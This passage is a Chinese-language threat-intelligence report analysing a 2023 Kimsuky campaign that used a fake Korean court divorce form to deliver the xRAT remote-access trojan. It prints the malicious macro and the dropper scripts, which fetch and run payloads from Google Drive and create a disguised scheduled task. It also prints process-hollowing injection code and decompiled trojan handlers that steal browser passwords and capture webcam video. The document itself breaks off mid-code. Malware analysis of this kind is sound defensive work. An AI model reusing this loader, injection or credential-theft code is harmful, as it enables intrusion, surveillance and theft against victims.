2023年3月:Kimsuky组织针对韩国用户攻击活动的分析报告

概述

  瑞星威胁情报平台于2023年3月捕获到一起疑似针对韩国用户的攻击事件。攻击者使用DOCM格式的诱饵文档,将其伪装成韩国法院电子信访中心提供的离婚确认申请书,并在其内部嵌入了恶意的宏代码。猜测攻击者大概率是通过使用网络钓鱼、垃圾邮件等社工方式进行投递,诱骗用户启用宏代码,从而启动攻击行动。此次事件的感染链中,攻击者将不同阶段使用到的恶意载荷托管在合法的网络云盘中,以此躲避本地安全检测机制,而最后阶段使用到的恶意载荷是名xRAT的开源远控工具,该工具是以知名的QuasarRAT开源工具为基础改进而来的,可帮助攻击者实现对于入侵主机的信息窃取及长期控制等目的。

  Kimsuky组织疑似来自于朝鲜,最早于2013年被公开披露并命名。该组织主要攻击目标为韩国、日本等国,涉及国防、教育、能源、政府、医疗以及智囊团等领域,以机密信息窃取为主。通常使用社会工程学、鱼叉邮件、水坑攻击等手段投递恶意软件,拥有功能完善的恶意代码武器库。自被发现以来,该组织一直处于活跃状态,开展了多起针对目标国家相关人员的攻击活动。

ATT&CK 矩阵

战术 技术 具体行为
TA0002-执行 T1204-用户执行 攻击者将初始文档伪装成离婚确认申请书,以此诱骗用户执行
TA0003-持久化 T1053-计划任务/作业 创建计划任务,以实现持久化
TA0005-防御规避 T1027-混淆过的文件或信息 传送信息均通过AES加密及QuickLZ压缩处理,以规避流量监控
TA0005-防御规避 T1055-进程注入 远控木马被注入到合法进程中执行
TA0006-凭据访问 T1555-密码存储的凭据 获取存储在本地浏览器内的用户密码
TA0007-环境发现 T1083-枚举文件和目录 获取指定路径下目录和文件信息
TA0007-环境发现 T1057-收集进程信息 收集被入侵主机的所有进程列表
TA0007-环境发现 T1012-收集注册表信息 收集被入侵主机的注册表信息
TA0007-环境发现 T1518-收集软件信息 收集被入侵主机安装的安全软件信息
TA0007-环境发现 T1082-收集系统信息 收集被入侵主机的操作系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 收集被入侵主机的MAC地址和IP地址
TA0007-环境发现 T1033-探测系统所有者/用户 收集被入侵主机的用户名
TA0009-收集信息 T1113-屏幕截图 获取屏幕截图
TA0009-收集信息 T1125-视频捕获 通过网络摄像头获取影像
TA0011-指挥与控制 T1001-数据混淆 对C2流量进行混淆处理
TA0011-指挥与控制 T1008-备用通道 攻击者准备了多个C2服务器地址
TA0010-外传信息 T1020-自动外传 自动发送收集到的受害者机器信息
TA0010-外传信息 T1041-通过C2通道外传 C2通道同时可以接收木马回传的受害者机器信息

攻击事件详情

  此次攻击事件中,攻击者使用的初始样本为DOCM格式文档,其内容为离婚确认申请书,以此作为欺骗用户的诱饵。根据关联分析得知,该申请书原本是HWP格式的文档,由韩国法院的电子信访中心提供下载,原文件名为협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).hwp。此处攻击者将其转换为Office文档,并内嵌了恶意的宏代码,作为本次攻击事件的初始武器。后续的攻击行动中,攻击者使用合法的网络云盘服务托管了多个阶段的恶意载荷,以此隐藏自身攻击痕迹,并在最后阶段使用了名为xRAT的远控工具与C2服务器进行通信,以实现对受害者主机的信息窃取和远程控制。该工具是基于知名的远控工具QuasarRAT改进而来,其最大的特点是与C2服务器通信的数据经过了AES加密和QuickLZ压缩处理,可有效的躲避网络监控,隐蔽性更高。其诱饵文档内容如下:

诱饵文档内容

攻击流程

  此次攻击行动中,攻击者使用了多个轻量化的脚本程序作为攻击武器,其中部分恶意载荷托管于Google云盘上,需要在攻击过程中下载到本地执行。最后阶段下载的数据是经过了QuickLZ压缩的xRAT木马加载器,在本地进行解压缩后被直接加载进内存中执行。该加载器会启动系统中名为CasPol.exe.NET工具,然后将内嵌于自身资源段中的xRAT木马程序注入到启动的CasPol.exe进程空间内,从而在内存中动态执行,最终实现与C2服务器通信。其攻击流程图如下:

攻击流程图

样本分析

  此次攻击事件中的初始样本为内嵌恶意宏代码的Office文档,该文档是由韩国法院提供的离婚意向确认申请书,不过被攻击者从HWP格式转换为了DOCM格式,根据其内容可知,主要针对目标为韩国用户。在后续的攻击过程中,攻击者使用了合法的网络云盘服务来托管恶意载荷,最后使用的远控木马是名为xRAT的开源工具,可实现本地信息窃取和远程控制等功能。同时为了规避网络流量监控,该工具与C2服务器通信时的数据均经过QuickLZ压缩和AES加密处理,具有隐蔽性高、危害性强等特点。

1. 初始文档分析

字段 内容
原始文件名 협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).docm
文件大小 61.08 KB (62545 bytes)
文件MD5 e0cf0881de0fe35732bb02c1f4df02a3
文件类型 DOCM文档
病毒名 Trojan.CodeLoader/VBA!1.DFBF
文档创建日期 2023-03-12 09:53:00
主要功能 攻击行动初始文档,诱骗用户启用恶意的宏代码,进而执行托管于网络云盘的恶意载荷

  初始文档名为협의이혼의사확인신청서(미성년 자녀가 없는 경우-법원제출용).docm,内容为离婚确认申请书,文档被打开后提示用户需要启用宏才可以查看内容,以此诱骗用户主动启用宏代码。因为攻击者使用了合法的网络云盘来托管恶意载荷,所以内嵌的恶意宏代码功能较为简单。如此轻量化的处理,可以有效的规避本地防御系统的检测,极大的提高攻击行动的成功率。

1.1 文档宏代码分析

  在宏代码中并没有直接去下载存放于云盘中的恶意载荷,而是将相关代码保存在本地临时目录下的version.ini文件内,然后调用wscript.exe执行去执行该文件。

Sub ResContent(pth, cnt)
    Documents.Add
    With ActiveDocument
        .Range.Text = cnt
        .SaveAs2 FileName:=pth, FileFormat:=wdFormatText
        .Close
    End With
End Sub

Sub AutoOpen()
    On Error Resume Next
    sn = "utf"
    Set wm = GetObject("winmgmts:win32_process")
    pw = "utf8utf8"
    Weed sn, pw
    Present
    Set wnd = ActiveDocument
    wnd.Save

    cnt = "On Error Resume Next:Set mx = CreateObject(""MSXML2.ServerXMLHTTP""):mx.open ""GET"", ""https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t"", False:mx.Send:Execute(mx.responseText)"
    pth = "C:\Users\" & Application.UserName & "\AppData\Roaming\Microsoft\Templates\version.ini"

    ResContent pth, cnt                                 '将恶意代码保存在version.ini文件内
    wm.Create "wscript.exe //e:vbscript //b " & pth     '执行恶意代码,其功能为取回位于云网盘上面的恶意载荷并执行
End Sub
1.2 释放的version.ini分析

   该文件为VBS脚本程序,使用GET方法获取托管在Google云盘上的恶意载荷,然后执行。

On Error Resume Next
Set mx = CreateObject("MSXML2.ServerXMLHTTP")
mx.open "GET", "https://drive.google.com/uc?export=download&id=1SoDzDxjeD9T-yPcpXXI1hWkYpwGq7-00&confirm=t" False
mx.Send:Execute(mx.responseText)                        '执行获取的恶意载荷

2. VBS脚本分析

字段 内容
原始文件名 upload_real.vbs
文件大小 1.68 KB (1,729 bytes)
文件MD5 d4bb07f5a9462612cd0e8a9290e27fc8
文件类型 VBS脚本
病毒名 Dropper.Agent/VBS!1.E3C2
主要功能 释放三个脚本文件,功能包括创建计划任务、执行下阶段的恶意载荷

  该脚本文件被执行后首先在本地创建目录C:\ProgramData\WindowsApp,然后将系统工具powershell.exewscript.exe复制到该目录下,后续用来执行相应的脚本程序。同时还在此目录内释放了三个文件:version.inirunps.vbsconf.ps1,其中version.iniVBS脚本程序,由主程序启动执行,负责创建系统计划任务,而任务启动程序则指向同目录下的runps.vbs脚本程序。runps.vbs负责执行conf.ps1,后者为PowerShell脚本,负责下载并执行托管在Google云盘上的恶意载荷。

'生成文件
Sub ResContent(pth, cnt)
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set txtFile = fso.CreateTextFile(pth,true)
    txtFile.Writeline(cnt)
    txtFile.close
End Sub

'复制脚本执行程序到指定目录
Sub PSCopy()
    Dim FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.CopyFile "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" , "C:\ProgramData\WindowsApp\"
    FSO.CopyFile "C:\Windows\SysWOW64\wscript.exe" , "C:\ProgramData\WindowsApp\"
End Sub

Sub ProStart()
    On Error Resume Next   
    '创建目录
    Set scFSO =  CreateObject("Scripting.FileSystemObject")
    scFSO.CreateFolder("C:\ProgramData\WindowsApp")

    '释放文件的路径
    Set wm = GetObject("winmgmts:win32_process")         
    folderpth = "C:\ProgramData\WindowsApp\"
    addschpth = folderpth & "version.ini"
    powshellpth = folderpth & "powershell.exe"    
    wscriptpath = folderpth & "wscript.exe"
    runpspath = folderpth & "runps.vbs"
    confpth = folderpth & "conf.ps1"

    'version.ini内容,负责创建计划任务,启动程序指向runps.vbs
    addschcmdcont = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""cmd /c schtasks /create /sc minute /mo 50 /tn """"MicrosoftEdgeUpdateTaskMachineUAC"""" /tr """"" & 
    wscriptpath & " //b " & runpspath & """"""",0,true)"  

    'runps.vbs内容,负责执行conf.ps1脚本
    runpscont = "On Error Resume Next:Set WshShell = WScript.CreateObject(""WScript.Shell""):Return=WshShell.Run(""" & powshellpth & " -ExecutionPolicy Bypass -Command " & confpth & """,0,true)"    

    'conf.ps1内容,负责取回位于云网盘上面的恶意载荷
    confcont = "iex (New-Object Net.WebClient).DownloadString('https://drive.google.com/uc?export=download&id=1i5iaaCK6wjd3_liWZ5VpcXEi9NMlGWp7&confirm=t')"

    '本地目录下生成三个文件
    ResContent addschpth, addschcmdcont                    
    ResContent runpspath, runpscont                         
    ResContent confpth, confcont                            
    PSCopy                                                  '复制系统工具到创建的目录下
    wm.Create "wscript.exe //e:vbscript //b " & addschpth   '执行version.ini程序
End Sub

ProStart                                                    '程序入口处

3. PowerShell脚本分析

字段 内容
原始文件名 Load.ps1
文件大小 9.91 KB (10,152 bytes)
文件MD5 8f411a46490016ac5d126b83cee65022
文件类型 PowerShell脚本
主要功能 下载恶意载荷,经过本地解压缩后在内存中动态加载执行

  该文件为PowerShell脚本程序,内置了开源的QuickLZ解压缩代码,其功能也是处理托管在Google云盘上的恶意载荷。该恶意载荷为QuickLZ压缩处理后的.NET程序,本地进行解压缩处理后,通过反射加载的方式在内存中调用执行。

$name = "Main";
$URI = "https://drive.google.com/uc?export=download&id=17dzkPuJ-PAZFok58b9r73zdWpyrYAeI9&confirm=t"
$Response=Invoke-WebRequest -Method GET -Uri $URI -UseBasicParsing      #从远程地址中获取数据
#[byte[]]$bytes = (wget $URI).content
[byte[]]$bytes = $Response.content
$length = $bytes.Length
write-host $length
$decompress_bytes = [gs.SafeQuickLZ]::Decompress($bytes)                #使用公开的QuickLZ解压算法解压下载的数据
$assembly = [System.Reflection.Assembly]::Load($decompress_bytes)       #利用反射类动态加载解压后的`.NET`程序

foreach ($type in $assembly.GetTypes())
{
    write-host $type.Name.ToLower()
    if(($type.Name.ToLower()).equals("program"))                        #查找程序集中名为"program"的类型
    {
        foreach ($method in $type.GetMethods())
        {
            write-host $method.Name.ToLower()
            if (($method.Name.ToLower()).equals($name.ToLower()))       #查找名为"Main"的方法
            {
                $instance = [System.Activator]::CreateInstance($type)   
                $method.Invoke($instance, @())                          #调用程序集中指定的方法
                #[namespace.Class]::Main($parametre)
                #$instance::Main($parametre)
            }
        }
    }
}

4. 木马加载器分析

字段 内容
原始文件名 ProcessHollowingCsharp.exe
文件大小 275 KB (281,600 bytes)
文件MD5 9d8c438b710b314b2dc2e003b2f177b7
文件类型 EXE
主要功能 内存中动态执行xRAT木马程序
备注 无文件落地

  该加载器为.NET程序,功能是加载执行xRAT远控程序。加载器首先将存放于自身资源段中的编码数据取出,该段数据经过了RC4加密,经过解密后即为xRAT远控工具的硬编码数据,然后加载器创建进程CasPol.exe,将获取的硬编码数据以动态注入的方式在宿主进程中执行。CasPol.exe为合法的.NET工具,注入该进程执行远控木马,隐蔽性高,难以被发现。

4.1 主函数代码

  主函数代码结构简单,包括从资源段中读取数据、生成随机初始化向量IV、调用注入函数等功能。

public static void Main()
{
    // 宿主进程名
    string hostProcess = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CasPol.exe";

    // 获取位于自身资源段中的数据
    Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("ProcessHollowingCsharp.last_rc.exe");

    byte[] array = new byte[manifestResourceStream.Length];
    manifestResourceStream.Read(array, 0, array.Length);
    RC4EncDec.GenerateIV();

    // 动态注入的方式执行`xRAT`木马程序,参数为RC4解密后的数据和宿主进程名
    Program.PrivateKeyM(RC4EncDec.Generate_Enc_Dec(array), hostProcess);
}
4.2 注入进程代码

  该方法主要负责创建进程CasPol.exe,并将解密后的代码以动态注入的方式,在进程的内存空间中执行。

public static bool PrivateKeyM(byte[] exeBuffer, string hostProcess)
{
    Program.STARTUPINFO startupinfo = default(Program.STARTUPINFO);
    startupinfo.dwFlags = 257U;
    startupinfo.wShowWindow = Program.SW_SHOW;
    byte[] array = new byte[64];
    byte[] array2 = new byte[248];
    byte[] array3 = new byte[40];
    int[] array4 = new int[4];
    byte[] array5 = new byte[716];
    Program.SetUintFromBytearray(array5, 0, 65543U);
    Buffer.BlockCopy(exeBuffer, 0, array, 0, array.Length);
    if (Program.GetUshortFromBytearray(array, 0) != 23117)
    {
        return false;
    }
    int uintFromBytearray = (int)Program.GetUintFromBytearray(array, 60);
    Buffer.BlockCopy(exeBuffer, uintFromBytearray, array2, 0, array2.Length);
    if (Program.GetUintFromBytearray(array2, 0) != 17744U)
    {
        return false;
    }
    // 创建主进程
    if (!Program.CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref startupinfo, array4))
    {
        return false;
    }
    uint uintFromBytearray2 = Program.GetUintFromBytearray(array2, 52);
    // 申请内存空间
    uint num = Program.VirtualAllocEx((IntPtr)array4[0], IntPtr.Zero, Program.GetUintFromBytearray(array2, 80), 12288U, 64U);
    if (num == 0U)
    {
        Program.TerminateProcess(array4[0], 0);
        return false;
    }
    uint uintFromBytearray3 = Program.GetUintFromBytearray(array2, 160);
    uint uintFromBytearray4 = Program.GetUintFromBytearray(array2, 164);
    if (uintFromBytearray4 > 0U)
    {
        uint num2 = Program.VA2FileOffset(exeBuffer, uintFromBytearray2 + uintFromBytearray3);
        for (uint num3 = 0U; num3 < uintFromBytearray4; num3 += 8U)
        {
            uint uintFromBytearray5 = Program.GetUintFromBytearray(exeBuffer, (int)(num2 + num3));
            uint num4 = (Program.GetUintFromBytearray(exeBuffer, (int)(num2 + 4U + num3)) - 8U) / 2U;
            int num5 = 0;
            while ((long)num5 < (long)((ulong)num4))
            {
                ushort num6 = Program.GetUshortFromBytearray(exeBuffer, (int)(num2 + 8U + num3));
                byte b = (byte)(num6 >> 12);
                if (b == 3)
                {
                    uint num7 = (uint)((uint)b << 12);
                    num6 = (ushort)((uint)num6 - num7);
                    num7 = (uint)num6 + uintFromBytearray5 + uintFromBytearray2;
                    Program.SetUintFromBytearray(exeBuffer, (int)Program.VA2FileOffset(exeBuffer, num7), Program.GetUintFromBytearray(exeBuffer, (int)Program.VA2FileOffset(exeBuffer, num7)) - uintFromBytearray2 + num);
                }
                num3 += 2U;
                num5++;
            }
        }
    }
    Program.SetUintFromBytearray(array2, 52, num);
    // 写入内存
    Program.NtWriteVirtualMemory((IntPtr)array4[0], num, exeBuffer, Program.GetUintFromBytearray(array2, 84), IntPtr.Zero);
    for (ushort num8 = 0; num8 < Program.GetUshortFromBytearray(array2, 6); num8 += 1)
    {
        Buffer.BlockCopy(exeBuffer, uintFromBytearray + array2.Length + array3.Length * (int)num8, array3, 0, array3.Length);
        byte[] array6 = new byte[Program.GetUintFromBytearray(array3, 16)];
        Buffer.BlockCopy(exeBuffer, (int)Program.GetUintFromBytearray(array3, 20), array6, 0, array6.Length);
        Program.NtWriteVirtualMemory((IntPtr)array4[0], num + Program.GetUintFromBytearray(array3, 12), array6, Program.GetUintFromBytearray(array3, 16), IntPtr.Zero);
    }
    Program.NtGetContextThread((IntPtr)array4[1], array5);
    byte[] array7 = new byte[4];
    Program.SetUintFromBytearray(array7, 0, num);
    // 写入内存
    Program.NtWriteVirtualMemory((IntPtr)array4[0], Program.GetUintFromBytearray(array5, 164) + 8U, array7, 4U, IntPtr.Zero);
    Program.SetUintFromBytearray(array5, 176, num + Program.GetUintFromBytearray(array2, 40));
    Program.NtSetContextThread((IntPtr)array4[1], array5);
    // 恢复线程,动态启动写入内存中的`xRAT`木马
    Program.NtResumeThread((IntPtr)array4[1], IntPtr.Zero);
    return true;
}

5. 远控木马分析

字段 内容
原始文件名 Client.exe
文件大小 261 KB (267,264 bytes)
文件MD5 3c687fb0a1921a53f9c607938f25fdd1
文件类型 EXE
病毒名 Backdoor.xRAT!1.D01D
主要功能 远控工具,实现对受害者主机的信息窃取、远程控制等功能
备注 无文件落地

  该木马是名为xRAT的开源工具,以知名的远控工具QuasarRAT为基础改进而来。其最大的不同之处是将服务器通信时的数据进行了AES加密和QuickLZ压缩处理,隐蔽性更高,可以有效的躲避网络流量监控。该木马具有获取受害者主机的本地信息、注册表、系统启动项、文件及目录的操作、屏幕截图、下载、上传等功能,另外还可以利用受害者主机的网络摄像头拍摄视频或照片,提供给C2服务器。该程序为开源工具,攻击者可以根据自身需求进行定制,危害性极大。

5.1 主函数代码

  主函数代码负责程序初始化和连接C2服务器等功能。

// 主函数
private static void Main(string[] args)
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    AppDomain.CurrentDomain.UnhandledException += Program.HandleUnhandledException;
    if (Settings.Initialize() && Program.Initialize() && !QuasarClient.Exiting)
    {
        Program.ConnectClient.Connect();    // 与C2服务器建立连接
    }
    Program.Cleanup();
    Program.Exit();
}
5.2 方法AsyncReceive部分代码

  该方法负责处理从服务器接收的数据,包括AES解密和QuickLZ解压缩等,最终处理结果的数据类型即为本地客户端可识别的指令。

private void AsyncReceive(object state)
{
    for (;;)
    {
        Queue<byte[]> readBuffers = this._readBuffers;
        byte[] array;
        lock (readBuffers)
        {
            if (this._readBuffers.Count == 0)
            {
                object readingPacketsLock = this._readingPacketsLock;
                lock (readingPacketsLock)
                {
                    this._readingPackets = false;
                    break;
                }
            }
            array = this._readBuffers.Dequeue();        // 接收的数据
        }
        this._readableDataLen += array.Length;
        bool flag3 = true;
        while (flag3)
        {
            Client.ReceiveType receiveState = this._receiveState;
            if (receiveState != Client.ReceiveType.Header)
            {
                if (receiveState == Client.ReceiveType.Payload)
                {
                    if (this._payloadBuffer == null || this._payloadBuffer.Length != this._payloadLen)
                    {
                        this._payloadBuffer = new byte[this._payloadLen];
                    }
                    int num = (this._writeOffset + this._readableDataLen >= this._payloadLen) ? (this._payloadLen - this._writeOffset) : this._readableDataLen;
                    try
                    {
                        // 将接受的数据复制到this._payloadBuffer指向的内存中
                        Array.Copy(array, this._readOffset, this._payloadBuffer, this._writeOffset, num);
                    }
                    catch (Exception ex)
                    {
                        flag3 = false;
                        this.OnClientFail(ex);
                        continue;
                    }
                    this._writeOffset += num;
                    this._readOffset += num;
                    this._readableDataLen -= num;
                    if (this._writeOffset == this._payloadLen)
                    {
                        bool flag4 = this._payloadBuffer.Length == 0;
                        if (!flag4)
                        {
                            // AES解密接收的数据
                            this._payloadBuffer = AES.Decrypt(this._payloadBuffer);
                            flag4 = (this._payloadBuffer.Length == 0);
                        }
                        if (!flag4)
                        {
                            try
                            {
                                // 使用SafeQuickLZ算法解压缩接收的
                                this._payloadBuffer = SafeQuickLZ.Decompress(this._payloadBuffer);
                            }
                            catch (Exception)
                            {
                                flag3 = false;
                                this.Disconnect();
                                continue;
                            }
                            flag4 = (this._payloadBuffer.Length == 0);
                        }
                        if (flag4)
                        {
                            flag3 = false;
                            this.Disconnect();
                            continue;
                        }
                        // 将处理后的数据写入内存流中
                        using (MemoryStream memoryStream = new MemoryStream(this._payloadBuffer))
                        {
                            try
                            {
                                // 反序列计算获取指令
                                IPacket packet = (IPacket)this.Serializer.Deserialize(memoryStream);
                                this.OnClientRead(packet);      // 处理指令
                            }
                            catch (Exception ex2)
                            {
                                flag3 = false;
                                this.OnClientFail(ex2);
                                continue;
                            }
                        }
......
5.3 方法OnClientRead代码

  该方法负责处理接收到的服务器指令,执行相对应的功能,其中指令GetAuthentication负责获取受害者主机标识字符串,包括LZ标志字段、主机的主机信息和地理信息等。

private void OnClientRead(Client client, IPacket packet)
{
    Type type = packet.GetType();
    if (this.Authenticated)
    {
        PacketHandler.HandlePacket(client, packet); // 处理指令
        return;
    }
    if (type == typeof(GetAuthentication))
    {
        // 获取受害者主机信息,包括主机所在国家代码、客户端版本信息、客户端路径、主机名、用户名
        CommandHandler.HandleGetAuthentication((GetAuthentication)packet, client);
        return;
    }
    if (type == typeof(SetAuthenticationSuccess))
    {
        this.Authenticated = true;
    }
}

  指令GetAuthentication代码,获取受害者主机的认证信息。

public static void HandleGetAuthentication(GetAuthentication command, Client client)
{
    GeoLocationHelper.Initialize();             // 获取当前IP地址所在国家代码
    new GetAuthenticationResponse(
        Settings.VERSION,                       // `xRAT`客户端版本信息
        PlatformHelper.FullName,                // 操作系统
        WindowsAccountHelper.GetAccountType(),  
        GeoLocationHelper.GeoInfo.Country,      
        GeoLocationHelper.GeoInfo.CountryCode,  
        GeoLocationHelper.GeoInfo.Region,       
        GeoLocationHelper.GeoInfo.City,         
        GeoLocationHelper.ImageIndex,           // 国家代码的序列号
        DevicesHelper.HardwareId,               // 受害主机硬件Hash值,包括cpu名、BIOS标识符、主板标识符相加取SHA256值
        WindowsAccountHelper.GetName(),         
        SystemHelper.GetPcName(),               
        Settings.TAG                            // "LZ"字段,为受害者主机标志
    ).Execute(client);                          // 发送认证信息给服务器
    if (ClientData.AddToStartupFailed)
    {
        Thread.Sleep(2000);
        new SetStatus("Adding to startup failed.").Execute(client); // 向服务器发送失败信息
    }
}
5.4 方法HandlePacket部分代码

  该方法负责判断接收到的服务器指令,并执行相对应的功能。

public static void HandlePacket(Client client, IPacket packet)
{
    Type type = packet.GetType();
    if (type == typeof(DoDownloadAndExecute))
    {
        CommandHandler.HandleDoDownloadAndExecute((DoDownloadAndExecute)packet, client);
        return;
    }
    if (type == typeof(DoUploadAndExecute))
    {
        CommandHandler.HandleDoUploadAndExecute((DoUploadAndExecute)packet, client);
        return;
    }
    if (type == typeof(DoClientDisconnect))
    {
        Program.ConnectClient.Exit();
        return;
    }
    if (type == typeof(DoClientReconnect))
    {
        Program.ConnectClient.Disconnect();
        return;
    }
    if (type == typeof(DoClientUninstall))
    {
        CommandHandler.HandleDoClientUninstall((DoClientUninstall)packet, client);
        return;
    }
    if (type == typeof(DoAskElevate))
    {
        CommandHandler.HandleDoAskElevate((DoAskElevate)packet, client);
        return;
    }
    if (type == typeof(GetDesktop))
    {
        CommandHandler.HandleGetDesktop((GetDesktop)packet, client);
        return;
    }
......
5.5 指令DoAskElevate代码

  该指令使用ProcessStartInfo类来实现进程权限提升的目的,可以用管理员身份启动当前木马进程。

public static void HandleDoAskElevate(DoAskElevate command, Client client)
{
    if (WindowsAccountHelper.GetAccountType() != "Admin")   // 当前用户不是Admin时,以管理员身份启动远控木马
    {
        ProcessStartInfo startInfo = new ProcessStartInfo
        {
            FileName = "cmd",
            Verb = "runas",
            Arguments = "/k START \"\" \"" + ClientData.CurrentPath + "\" & EXIT",
            WindowStyle = ProcessWindowStyle.Hidden,
            UseShellExecute = true
        };
        MutexHelper.CloseMutex();
        try
        {
            Process.Start(startInfo);
        }
        catch
        {
            new SetStatus("User refused the elevation request.").Execute(client);
            MutexHelper.CreateMutex(Settings.MUTEX);
            return;
        }
        Program.ConnectClient.Exit();
        return;
    }
    // 向服务器发送字段,通知服务器已经完成提权
    new SetStatus("Process already elevated.").Execute(client);
}
}
5.6 指令GetWebcam代码

  该指令使用AForgeAForge.video.directshow库,通过主机自带的摄像头进行实时拍摄。

public static void HandleGetWebcam(GetWebcam command, Client client)
{
    CommandHandler.Client = client;
    CommandHandler.NeedsCapture = true;
    CommandHandler.Webcam = command.Webcam;
    CommandHandler.Resolution = command.Resolution;
    if (!CommandHandler.WebcamStarted)
    {
        CommandHandler.FinalVideo = new VideoCaptureDevice(new FilterInfoCollection(FilterCategory.VideoInputDevice)[command.Webcam].MonikerString);
        CommandHandler.FinalVideo.NewFrame += CommandHandler.FinalVideo_NewFrame;
        CommandHandler.FinalVideo.VideoResolution = CommandHandler.FinalVideo.VideoCapabilities[command.Resolution];
        CommandHandler.FinalVideo.Start();
        CommandHandler.WebcamStarted = true;
    }
}
5.7 指令DoMouseEvent代码

  该指令根据服务器发送的鼠标相关动作,完成服务器对受害者主机的鼠标控制。包括鼠标左右键的按下和释放,以及鼠标在屏幕上的坐标位置。

public static void HandleDoMouseEvent(DoMouseEvent command, Client client)
{
    try
    {
        Screen[] allScreens = Screen.AllScreens;
        int x = allScreens[command.MonitorIndex].Bounds.X;
        int y = allScreens[command.MonitorIndex].Bounds.Y;
        Point p = new Point(command.X + x, command.Y + y);
        switch (command.Action)
        {
        case MouseAction.LeftDown:
        case MouseAction.LeftUp:
        case MouseAction.RightDown:
        case MouseAction.RightUp:
        case MouseAction.MoveCursor:
            if (NativeMethodsHelper.IsScreensaverActive())
            {
                NativeMethodsHelper.DisableScreensaver();
            }
            break;
        }
        switch (command.Action)
        {
        case MouseAction.LeftDown:
        case MouseAction.LeftUp:
            NativeMethodsHelper.DoMouseLeftClick(p, command.IsMouseDown);
            break;
        case MouseAction.RightDown:
        case MouseAction.RightUp:
            NativeMethodsHelper.DoMouseRightClick(p, command.IsMouseDown);
            break;
        case MouseAction.MoveCursor:
            NativeMethodsHelper.DoMouseMove(p);
            break;
        case MouseAction.ScrollUp:
            NativeMethodsHelper.DoMouseScroll(p, false);
            break;
        case MouseAction.ScrollDown:
            NativeMethodsHelper.DoMouseScroll(p, true);
            break;
        }
    }
    catch
    {
    }
}
5.8 指令GetSystemInfo代码

  该指令负责获取主机系统信息,包括CPU、内存、系统目录、IP地址、安装的安全软件、防火墙等。

public static void HandleGetSystemInfo(GetSystemInfo command, Client client)
{
    try
    {
        IPGlobalProperties ipglobalProperties = IPGlobalProperties.GetIPGlobalProperties();
        string text = (!string.IsNullOrEmpty(ipglobalProperties.DomainName)) ? ipglobalProperties.DomainName : "-";
        string text2 = (!string.IsNullOrEmpty(ipglobalProperties.HostName)) ? ipglobalProperties.HostName : "-";
        new GetSystemInfoResponse(new string[]
        {
            "Processor (CPU)",
            DevicesHelper.GetCpuName(),
            "Memory (RAM)",
            string.Format("{0} MB", DevicesHelper.GetTotalRamAmount()),
            "Video Card (GPU)",
            DevicesHelper.GetGpuName(),
            "Username",
            WindowsAccountHelper.GetName(),
            "PC Name",
            SystemHelper.GetPcName(),
            "Domain Name",
            text,
            "Host Name",
            text2,
            "System Drive",
            Path.GetPathRoot(Environment.SystemDirectory),
            "System Directory",
            Environment.SystemDirectory,        // 系统目录
            "Uptime",
            SystemHelper.GetUptime(),           // 系统已经运行多少时间
            "MAC Address",
            DevicesHelper.GetMacAddress(),
            "LAN IP Address",
            DevicesHelper.GetLanIp(),           // 局域网IP地址
            "WAN IP Address",
            GeoLocationHelper.GeoInfo.Ip,       // 外网IP地址
            "Antivirus",
            SystemHelper.GetAntivirus(),        // 本地安装的安全软件信息
            "Firewall",
            SystemHelper.GetFirewall(),         // 本地防火墙信息
            "Time Zone",
            GeoLocationHelper.GeoInfo.Timezone,
            "Country",
            GeoLocationHelper.GeoInfo.Country,
            "ISP",
            GeoLocationHelper.GeoInfo.Isp
        }).Execute(client);                     // 传送给C2服务器
    }
    catch
    {
    }
}
5.9 指令DoVisitWebsite代码

  该指令负责打开由服务器指定的网站,并告之服务器已经成功打开的网站。

public static void HandleDoVisitWebsite(DoVisitWebsite command, Client client)
{
    string text = command.URL;
    if (!text.StartsWith("http"))
    {
        text = "http://" + text;        // 添加"http://"头
    }
    if (Uri.IsWellFormedUriString(text, UriKind.RelativeOrAbsolute))
    {
        if (!command.Hidden)
        {
            Process.Start(text);
        }
        else
        {
            try
            {
                HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text);
                httpWebRequest.UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
                httpWebRequest.AllowAutoRedirect = true;
                httpWebRequest.Timeout = 10000;
                httpWebRequest.Method = "GET";
                using ((HttpWebResponse)httpWebRequest.GetResponse())
                {
                }
            }
            catch
            {
            }
        }
        // 向服务器发送"Visited Website"字段,通知已经打开的网站
        new SetStatus("Visited Website").Execute(client);
    }
}
5.10 指令GetPasswords代码

  该指令负责获取保存在本地浏览器的密码,获取后传送给C2服务器。

public static void HandleGetPasswords(GetPasswords packet, Client client)
{
    List<RecoveredAccount> list = new List<RecoveredAccount>();
    list.AddRange(Chrome.GetSavedPasswords());
    list.AddRange(Opera.GetSavedPasswords());
    list.AddRange(Yandex.GetSavedPasswords());
    list.AddRange(InternetExplorer.GetSavedPasswords());
    list.AddRange(Firefox.GetSavedPasswords());
    list.AddRange(FileZilla.GetSavedPasswords());
    list.AddRange(WinSCP.GetSavedPasswords());
    List<string> list2 = new List<string>();
    foreach (RecoveredAccount recoveredAccount in list)
    {
        string item = string.Format("{0}{4}{1}{4}{2}{4}{3}", new object[]
        {
            recoveredAccount.Username,
            recoveredAccount.Password,
            recoveredAccount.URL,
            recoveredAccount.Application,
            "$E$"
        });
        list2.Add(item);
    }
    // 获取的数据传送给C2服务器
    new GetPasswordsResponse(list2).Execute(client);
}
5.11 方法Send部分代码

  该方法负责向C2服务器发送数据,数据包经过了AES加密和QuickLZ压缩处理。

// 向服务器发送数据
private void Send(object state)
{
    while (this.Connected)
    {
        Queue<byte[]> sendBuffers = this._sendBuffers;
        byte[] payload;
